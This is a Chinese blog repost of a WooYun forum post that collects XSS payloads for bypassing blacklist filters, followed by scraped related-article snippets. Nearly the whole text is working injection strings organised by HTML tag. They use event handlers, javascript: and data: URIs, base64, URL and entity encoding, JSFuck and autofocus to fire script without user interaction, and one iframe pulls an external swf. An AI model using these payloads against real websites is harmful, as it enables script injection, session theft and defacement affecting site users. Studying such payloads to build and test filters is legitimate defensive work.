那些年我们没能bypass的xss filter[from wooyun]
原文链接:http://zone.wooyun.org/content/6899
小弟初学xss才10天。不过个人很喜欢收集xss payload.在这里把自己平时挖xss时会用到的payloads列出来和大家一起分享。很希望大家能把自己的一些payload也分享出来。(由于我是linux党,所以本文出现在的所有payload只在firefox和chrome之下进行过测试。IE不在本文的讨论范围之内。本文只以直接输出在HTML的情况为中心进行探讨。)有错误的地方还请大家不吝赐教。
在XSS的世界里,有很多标签,事件,属性都是可以拿来执行js的。但是又都有哪一些呢?
可以执行js的标签:
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
所有的event都是可以执行js:
onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
可以执行js的属性:
formaction action href xlink:href autofocus src content data
我们为什么要去理解这些呢?因为很多网站的filter都是基于黑名单的,而因为自身对可以执行js的标签,事件和属性的不了解,会导致你绕不过这个filter或者饶一个很大的弯子(当然也会有很多放弃的例子)。也许你正在尝试跳出的双引号是不需要跳出去的。也许你正在尝试跳出去的标签也是不需要跳出去的。因为你已经站在了可以插入js的地方却浑然不知。这也是写本文最主要的原因。下面我将以问答的方式,对各个payload进行简单的介绍。
我们真的需要一个合法的标签么?
<M/onclick="alert(1)">M
当目标站对关键tag做了黑名单过滤的时候,你也许可以尝试一下自定义标签。
标签和属性之间只能出现空格么?
<img/src=x onerror=alert(1)>
在有些情况下我们可以使用"/"来代替空格
二十个字符真的是最短的?
<b/ondrag=alert()>M //其实19个字符是可以有的。请在IE下测试(wineIE8测试通过)
你真的了解【a标签】么?
你也许会告诉我,谁不知道啊!不就href里面搞个javascript伪协议然后调用js不就完了。如果你真得这么认为的话,那么我觉得你已经完了。在href当中我们不仅仅可以使用javascript我们还可以使用data URI来调用我们的js代码,像这样:
<a href=javascript:alert(2)>M
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
可以看到第一个例子就是我们最常见的方法,通过javascript伪造协议来调用js了。而在第二个例子当中我们可以看到我们不但通过data协议来执行了javascript还对我们的payload进行了base64编码。我们可以解码看一下PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==究竟是什么。解码之后我们可以看到是<script>alert(3)</script>。聪明的人又会说了还整base64老子直接写也能弹。如果目标站点对<script>进行了过滤,那么也许你的payload就会死在半路上了。当然编码方式还有很多比如urlencode,hex,demical和HTML实体编码
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M
<a href=javascript:alert(13)>M
当你在测试payload的时候你应该多细心善于了解filter真正的在过滤什么。也许它只是把":"添加到了黑名单当中,来防止你来通过伪造协议执行js,而你却认为整个javascript或data都被过滤了。在这种情况下你就可以考虑通过html实体编码来bypass了.
<a href=javascript:confirm(2)>M
其实a标签拥有的不止是href.在一些猥琐的组合之下,我们可以用这种组合来让xlink:href执行js.
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
<math><a xlink:href=javascript:alert(1)>M
【script标签】之弹窗姿势知多少
很多时候我们都会用<script>alert(1)</script>来测试XSS脆弱性。但是太过于规范的姿势往往会死在半路上(因为有filter的嘛)。所以我们需要更多的姿势,来判断真正的过滤规则到底是什么。相信我,程序员的安全水平都是参差不起的,过滤alert()的程序员我也碰到过。(此处省略3W字的吐槽)
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> /
/想玩这个,可以在这里转换你的编码 http://www.jsfuck.com/
<script firefox>alert(1)</script> //其实我们并不需要一个规范的script标签
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script> //
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码
<script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗
<script>alert(/3/)</script> //可以用"/"来代替单引号和双引号
<script>alert(String.fromCharCode(49))</script> //我们还可以用char
<script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
<script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
【button标签】
应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子.
<button/onclick=alert(1) >M</button>
那么如果所有的on*(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势
<form><button formaction=javascript:alert(1)>M
也许看到这里就有人会吐槽,这种需要用户交互的啊 bla,bla,bla..(几个小时过去了)如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。
<button onfocus=alert(1) autofocus>
【p标签】
如果你发现变量输出在了p标签里,先不要急着从标签跳出去,因为只要你能跳出""就已经足够了。
<p/onmouseover=javascript:alert(1); >M</p>
【img标签】
img标签没有什么好讲的了。不过值得注意的是,有些姿势是因浏览器不通而不能成功的执行的。所以在空闲时间对payload进行分类,做上可执行浏览器的注释来提高你挖掘XSS的效率。
<img src=x onerror=alert(1)>
<img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效
<img src=x onerror=window.open('http://google.com');>
<img/src/onerror=alert(1)> //只在chrome下有效
<img src="x:kcf" onerror="alert(1)">
【body标签】
没有什么特别之处,都是通过event来调用js
<body onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
【var标签】
<var onmouseover="prompt(1)">KCF</var>
【div标签】
<div/onmouseover='alert(1)'>X
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
【iframe标签】
iframe这个例子当中值得一提的是,有时候我们可以通过实体编码
&Tab(换行和tab字符)来bypass一些filter。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“*"允许从外部调用swf时,我们才可以通过flash来实现xss attack.
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
<iframe SRC="http://0x.lv/xss.swf"></iframe>
<IFRAME SRC="javascript:alert(1);"></IFRAME>
<iframe/onload=alert(53)></iframe>
【meta标签】
很多时候,在做xss测试时,你会发现你的昵称,文章标题跑到俄meta标签里。那么你只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效的xss payload了。当然一些猥琐流的玩法,会通过给http-equiv设置set-cookie来,进一步重新设置cookie来干一些猥琐的事情
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
【object标签】
和a标签的href属性玩法是一样的,不过优点是无须交互。
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
【marquee标签】
<marquee onstart="alert('sometext')"></marquee>
【isindex标签】
第二个例子,值得我们注意一的是在一些只针对属性做了过滤的webapp当中,action很可能就是漏网之鱼。
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
【input标签】
没有什么特别之处,通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可弹窗的效果。在这里使用到了onblur是希望大家学会举一反三。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
【select标签】
<select onfocus=javascript:alert(1) autofocus>
【textarea标签】
<textarea onfocus=javascript:alert(1) autofocus>
【keygen标签】
<keygen onfocus=javascript:alert(1) autofocus>
【frameset标签】
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
<frameset onload=alert(1)>
【embed标签】
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
<embed src=javascript:alert(1)> //firefox
【svg标签】
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
【math标签】
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
<math> <maction actiontype="statusline#http://wangnima.com"
xlink:href="javascript:alert(49)">CLICKME</maction> </math>
【video标签】
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
【audio标签】
<audio src=x onerror=alert(47)>
姿势的介绍就在这里结束了。
说句题外话 在这些标签里面凡是出现在on*事件值里面的javascript:都是多余的。但是这个对测试者来说是很方便的。因为你可以通过一个payload来测试好几个黑名单成员
那些年我们没能bypass的xss filter[from wooyun]的更多相关文章
- 那些年我们没能bypass的xss filter
个人很喜欢收集xss payload.在这里把自己平时挖xss时会用到的payloads列出来和大家一起分享.很希望大家能把自己的一些payload也分享出来.(由于 我是linux党,所以本文出现在 ...
- (转) fuzzing XSS filter
//转自isno在wooyun知识库所写 题记:这是09年自己写的总结文章,之后多年也不搞这个了,技术显然是过时了,但我觉得思路还是有用的,算抛砖引玉吧,各位见笑 0x00 前言 这是一篇学习总结,首 ...
- IE8 XSS Filter Bypass
漏洞说明:IE8是微软新推出的一款浏览器,其对CSS2.1的完整支持,HTML5的支持,内置开发工具等等.IE8在浏览器安全性上有非常大的改进,内置了一款无法卸载的Xss Filter,对非持久型跨站 ...
- XSS Filter Evasion Cheat Sheet 中文版
前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...
- XSS Filter绕过
之前挖到某金融网站的xss 但是困于xss filter无奈不好下手.只能在火狐下弹窗. 以下该图是我的测试. 后来发给一个Invoker哥们儿.成功给我发来payload成功绕过了XSS Filte ...
- 反射型xss绕过IE xss filter
反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...
- XSS Attacks - Exploiting XSS Filter
XSS Attacks - Exploiting XSS Filter mramydnei · 2015/12/21 10:11 from:http://l0.cm/xxn/ 0x00 前言 这又是一 ...
- (转) XSS Attacks – Exploiting XSS Filter
中文翻译: from wooyun'drops 0x00 前言 这又是一篇来自全职赏金猎人Masato kinugawa的神作.一次双杀,用一篇报告拿下了两个CVE,分别是CVE-2015-6144和 ...
- A XSS filter for Java EE web apps--转载
原文地址:http://java.dzone.com/articles/xss-filter-java-ee-web-apps Cross Site Scripting, or XSS, is a f ...
随机推荐
- Matplotlib学习---用wordcloud画词云(Word Cloud)
画词云首先需要安装wordcloud(生成词云)和jieba(中文分词). 先来说说wordcloud的安装吧,真是一波三折.首先用pip install wordcloud出现错误,说需要安装Vis ...
- DP及其优化
常见DP模型及其构造 序列DP ARC074 RGB Sequence 题意 给你一个长度为 \(n\) 的序列和 \(m\) 组约束条件,每组条件形如 \(l_i,r_i,x_i\),表示序列上的 ...
- linux test条件测试
语法 test EXPRESSION [ EXPRESSION ] [[ EXPRESSION ]] 1.数值测试 -eq 是否等于 -ne 是否不等 -gt 是否大于 -ge 是否大于等于 -lt ...
- 【bfs】拯救少林神棍(poj1011)
Description 乔治拿来一组等长的木棒,将它们随机地砍断,使得每一节木棍的长度都不超过50个长度单位.然后他又想把这些木棍恢复到为裁截前的状态,但忘记了初始时有多少木棒以及木棒的初始长度.请你 ...
- 【bfs】1252 走迷宫
[题目描述] 一个迷宫由R行C列格子组成,有的格子里有障碍物,不能走:有的格子是空地,可以走. 给定一个迷宫,求从左上角走到右下角最少需要走多少步(数据保证一定能走到).只能在水平方向或垂直方向走,不 ...
- 题解 P4512 【【模板】多项式除法】
题目地址 前言 原理有大佬写了 所以蒟蒻只讲下本题的代码细节 我看懂的大佬博客:博客地址 因为可能知道了大致的步骤还有很多细的地方不理解导致写的时候要花很久并且看到大佬们好像都是用递归写的希望能有帮助 ...
- [POI2012]STU-Well(二分答案+神仙操作)
给定一个非负整数序列A,每次操作可以选择一个数然后减掉1,要求进行不超过m次操作使得存在一个Ak=0且max{|Ai−Ai+1|}最小,输出这个最小lk以及最小值. Solution 最大值最小,显然 ...
- Hyper-V:无法打开虚拟机XXX,因为虚拟机监控程序未运行
异常处理汇总-服务器系列:http://www.cnblogs.com/dunitian/p/4522983.html 异常处理汇总-开发工具 http://www.cnblogs.com/duni ...
- java == 与 equals
1.基本数据类型用"==" java的基本数据类型,也称为原始的数据类型.它们分别是: byte, short, char, int, long, float, double, b ...
- bootstrap 栅栏系统
媒体查询 /* 超小屏幕(手机,小于 768px) */ /* 没有任何媒体查询相关的代码,因为这在 Bootstrap 中是默认的(还记得 Bootstrap 是移动设备优先的吗?) */ /* 小 ...